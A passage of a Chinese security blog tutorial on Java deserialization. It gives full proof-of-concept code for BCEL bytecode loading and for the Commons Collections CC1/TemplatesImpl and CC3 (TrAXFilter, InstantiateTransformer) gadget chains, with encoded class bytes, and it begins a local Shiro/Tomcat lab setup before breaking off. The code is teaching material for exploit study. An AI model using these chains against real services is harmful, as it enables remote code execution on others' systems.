\u52a0\u8f7d\u8fd9\u4e32\u5b57\u8282\u7801\u7136\u540e\u6267\u884c\u5176\u4e2d\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.bcel.internal.Repository;\nimport com.sun.org.apache.bcel.internal.classfile.JavaClass;\nimport com.sun.org.apache.bcel.internal.classfile.Utility;\n\n\npublic class HelloBCEL {\n\n    public static void main(String&#91;] args) throws Exception {\n        \/\/encode();\n        decode();\n    }\n\n    protected static void encode() throws Exception {\n        JavaClass cls = Repository.lookupClass(classExample.Evil.class);\n        String code = Utility.encode(cls.getBytes(), true);\n        System.out.println(\"== BCEL \u7f16\u7801\u5b57\u8282\u7801 ==\");\n        System.out.println(\"$$BCEL$$\" + code);  \/\/ \u52a0\u4e0a\u524d\u7f00\u624d\u80fd\u88ab\u8bc6\u522b\n    }\n\n    protected static void decode() throws Exception {\n        \/\/ \u5c06 encode() \u6253\u5370\u51fa\u6765\u7684 BCEL \u5b57\u7b26\u4e32\u7c98\u8d34\u5230\u8fd9\u91cc\n        String bcelStr = \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$eb8$b1c$i$d2$ba$a4$7c$7f$b6$88$U$a4$e6$c2$ad$88$L$K$t$f3$nR$95$f3fY$85m$j$3b$b27U$fe$R$e7$5e$K$e2$c0$P$e0G$n$de$$U$5b$a9X$f2$3c$cf$9b7of$e4$df$7f$7e$fe$C$f0$SO$T$c4$b8$99$e0$Wn$c7$b8$e3$f0n$84$7b$J$da$b8$l$e1A$84$87$C$9dW$a64$f6$b5$40k$b8s$m$Q$be$a9$beh$81$7enJ$fd$7e9$9f$eaz_N$L2Y$5e$vY$i$c8$da$b8$fc$8c$M$edW$d3$Il$e4$aa$90M3$5e$c9$f9$a2$d0$a3$f1$b1$v$f6X$d4$x$ad$E$Eu$83$fcP$k$cbQ$n$cb$d9h$bcRzaMUR$d2$9bX$a9$8e$de$c9$85$f7$e3j$C$c9$a4Z$d6J$bf5$ce$bf$eb$acv$5do$8a$$$92$I$8fR$3c$c6$T$81$98$bb$a8$5d$OH$b1$86$zn$f0$l$ff$U$dbH$E$d6$af$ec$s$b0v$n$ff0$3d$d4$caRvA$7dZ$96$d6$cc9$3e$99i$7b$9e$M$86$3b$f9$V$Nox6$bcDOlm$ca$d9$dee$e5$c7$baR$bai$a8$ec$_X$b4$fe$e4$fdZ$w$cdS$o$fe$l$f7$E$Q$ee$40$c6k$ccFDAl$3f$ff$Oq$e2$cb$vc$c7$93$z$f4$Y$d3$7f$C$5cG$9f$c8$8b$ce$9b$8f$a8$O$88$d9$P$EY$eb$U$e1$e7o$88$f3$X$a7$e8$9c$f8$9e$$$7b$dbtq$8e$9b$fcr$be$5d$cfFt$8e$b1N$a7$9e$af$F$c4$90y$e6$fb$b2$b3Y$h$7c$p$Ey$84$h$n$L$D$bf$de$e6_$e0$8bW$84s$C$A$A\";\n        com.sun.org.apache.bcel.internal.util.ClassLoader loader =\n                new com.sun.org.apache.bcel.internal.util.ClassLoader();\n\n        Class&lt;?&gt; clazz = loader.loadClass(bcelStr);\n        Object instance = clazz.getDeclaredConstructor().newInstance();\n        clazz.getMethod(\"exec\").invoke(instance);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-165951-25-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-165951-25-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u60dc\u5728Java 8u251\u7684\u66f4\u65b0\u4e2d\uff0c\u8fd9\u4e2aClassLoader\u88ab\u79fb\u9664\u4e86\uff0c\u6240\u4ee5\u9ad8\u7248\u672c\u4e5f\u7528\u4e0d\u4e86\u4e86\uff0c\u4ee4\u4eba\u611f\u53f9\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsCollections3<\/h1>\n\n\n\n<p>CC3\u7684\u51fa\u73b0\uff0c\u662f\u4e3a\u4e86\u7ed5\u8fc7\u2f00\u4e9b\u89c4\u5219\u5bf9InvokerTransformer\u7684\u9650\u5236\uff0c\u6bd4\u5982\u6700\u521d\u7684demo\u91cc\u6211\u4eec\u5c31\u7528\u4e86\u8fd9\u4e2aInvokerTransformer\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n\npublic class easycc1 {\n    public static void main(String&#91;] args) throws Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class}, new Object&#91;]{\"calc.exe\"}),\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u800c\u5728\u4e0a\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u5b66\u4e60\u4e86\u5982\u4f55\u5229\u2f64 TemplatesImpl \u6267\u2f8f\u5b57\u8282\u7801\uff0c\u56de\u5fc6\u4e00\u4e0b\u5b83\u7684\u5229\u7528\u94fe\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl#newTransformer() =&gt; TemplatesImpl#getTransletInstance() =&gt; \nTemplatesImpl#defineTransletClasses() =&gt; TransletClassLoader#defineClass()<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u81ea\u7136\u800c\u7136\uff0c\u6211\u4eec\u5c31\u80fd\u60f3\u5230\u7528 TemplatesImpl \u63a5\u4e0aCC1\u7684\u94fe\u5b50\uff0c\u53ea\u9700\u8981CC1\u548c TemplatesImpl \u7684\u8fd9\u4e24\u6bb5POC\uff0c\u5373\u53ef\u5f88\u5bb9\u6613\u5730\u6539\u9020\u51fa\u2f00\u4e2a\u6267\u2f8f\u4efb\u610f\u5b57\u8282\u7801\u7684CommonsCollections\u5229\u2f64\u94fe\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u6700\u521ddemo\u4e2d InvokerTransformer \u6267\u2f8f\u7684\u2f45\u6cd5\u6539\u6210 TemplatesImpl#newTransformer \uff0c\u5373\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;]{\n new ConstantTransformer(obj),\n new InvokerTransformer(\"newTransformer\", null, null)\n};<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u5c31\u76f4\u63a5\u7528\u4e4b\u524d\u7684\u5b57\u8282\u7801\u6570\u636e\u4e86\uff0c\u6574\u5408\u4e00\u4e0b\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.lang.reflect.Field;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class NewCC1 {\n    \/\/\u5229\u7528\u53cd\u5c04\u7ed9\u79c1\u6709\u53d8\u91cf\u8d4b\u503c\u5982\u4e0b\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        byte&#91;] bytes = Base64.getDecoder().decode(\"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA\/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=\");\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{bytes});\n        setFieldValue(templates, \"_name\", \"test\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(templates),\n                new InvokerTransformer(\"newTransformer\", null, null),\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n\n\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-173806-25-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-173806-25-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:713px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7ecf\u8fc7\u5bf9\u4e8eCC1+TemplatesImpl\u7684\u4ecb\u7ecd\uff0c\u6211\u4eec\u73b0\u5728\u6765\u770b\u770bCC3\u662f\u600e\u4e48\u4e2a\u4e8b\u513f\uff0c\u5728ysoserial\u7684CC3\u4e2d\uff0c\u53ef\u4ee5\u53d1\u73b0\u4ed6\u7528\u4e86\u4e24\u4e2a\u65b0\u7684\u4e1c\u897f\uff0c\u4e00\u4e2a\u53eb<code>TrAXFilter<\/code>\uff0c\u4e00\u4e2a\u53eb<code>InstantiateTransformer<\/code>\u3002<\/p>\n\n\n\n<p>\u5148\u6765\u770b\u770bTrAXFilter\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u7684\u6784\u9020\u65b9\u6cd5\u91cc\u7adf\u7136\u76f4\u63a5\u8c03\u7528\u4e86TemplatesImpl\u94fe\u5b50\u7684\u5165\u53e3\u70b9newTransformer\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-174230-25-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-174230-25-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:700px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u53bb\u627e\u4e00\u4e2a\u5730\u65b9\u89e6\u53d1 TrAXFilter \u7684\u6784\u9020\u65b9\u6cd5\uff0c\u53ef\u4ee5\u770b\u5230 InstantiateTransformer \u5b8c\u7f8e\u7684\u89e3\u51b3\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u5b83\u7684\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u6784\u9020\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-174737-25-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-174737-25-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:773px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u601d\u8def\u5c31\u5f88\u660e\u663e\u4e86\uff0c\u5229\u7528 InstantiateTransformer \u8c03\u7528 TrAXFilter \u7684\u6784\u9020\u65b9\u6cd5\uff0c\u518d\u5229\u7528 TrAXFilter \u89e6\u53d1 TemplatesImpl \u94fe\u5b50\u7684\u5165\u53e3\u70b9 newTransformer\uff0c\u8fd9\u6837\u5c31\u53c8\u80fd\u5728\u4e0d\u4f7f\u7528 InvokerTransformer \u7684\u60c5\u51b5\u4e0b\u89e6\u53d1CC\u94fe\u4e86\uff0c\u5176\u4ed6\u7684\u5176\u5b9e\u548cCC1\u90fd\u4e00\u6837\uff0c\u53ea\u662f\u9700\u8981\u6211\u4eec\u4fee\u6539\u4e00\u4e0bChainedTransformer\uff0c\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.xml.transform.Templates;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC3 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        byte&#91;] bytes = Base64.getDecoder().decode(\"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA\/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=\");\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{bytes});\n        setFieldValue(templates, \"_name\", \"test\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(new Class&#91;]{Templates.class}, new Object&#91;]{templates})\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);\n        Class clazz = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);\n        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class&#91;]{Map.class}, handler);\n        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(handler);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object) ois.readObject();\n\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-180331-25-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-180331-25-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">TemplatesImpl\u5728Shiro\u4e2d\u7684\u5229\u7528<\/h1>\n\n\n\n<p>\u9996\u5148\uff0c\u8ba9\u6211\u4eec\u5728\u672c\u5730\u642d\u4e00\u4e2ashiro\u5e94\u7528\uff0c\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528p\u795e\u7684\u4ee3\u7801\uff1a<a href=\"https:\/\/github.com\/phith0n\/JavaThings\/tree\/master\/shirodemo\">https:\/\/github.com\/phith0n\/JavaThings\/tree\/master\/shirodemo<\/a><\/p>\n\n\n\n<p>\u7136\u540e\u4e0b\u4e00\u4efdtomcat\u7eaf\u6e90\u7801\uff1a<a href=\"https:\/\/dlcdn.apache.org\/tomcat\/tomcat-9\/v9.0.104\/bin\/apache-tomcat-9.0.104.zip\">https:\/\/dlcdn.apache.org\/tomcat\/tomcat-9\/v9.0.104\/bin\/apache-tomcat-9.0.104.zip<\/a><\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u7684\u7248\u672c\u662fjdk 1.8.0_65\uff0c\u6ce8\u610f\u751f\u6210payload\u7684jdk\u7248\u672c\u8981\u548c\u7528tomcat\u642d\u7684\u670d\u52a1\u7684\u7248\u672c\u4e00\u6837\uff0c\u4e0d\u7136\u6709\u53ef\u80fd\u6253\u4e0d\u901a\u3002<\/p>\n\n\n\n<p>\u56e0\u4e3ap\u795e\u5176\u5b9e\u90fd\u5e2e\u6211\u4eec\u628a\u73af\u5883\u914d\u597d\u4e86\uff0c\u6240\u4ee5\u5176\u5b9e\u73af\u5883\u642d\u8d77\u6765\u5e76\u4e0d\u56f0\u96be\uff0c\u9996\u5148git clone\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>git clone https:\/\/github.com\/phith0n\/JavaThings\/<\/code><\/pre>\n\n\n\n<p>\u6253\u5f00\u4e4b\u540e\u4f1a\u95ee\u4f60\u8981\u4e0d\u8981\u81ea\u52a8load\u73af\u5883\uff0c\u4f60\u5c31\u540c\u610f\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222144-26-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-222144-26-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:795px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5728setting\u8fd9\u91cc\u914d\u4e00\u4e0b\u6211\u4eec\u7684tomcat\uff08\u70b9\u52a0\u53f7\uff0c\u7136\u540e\u9009tomcat server\uff0c\u586b\u4e00\u4e0btomcat\u8def\u5f84\u5373\u53ef\uff09\uff1a<\/p>\n\n\n\n<figure 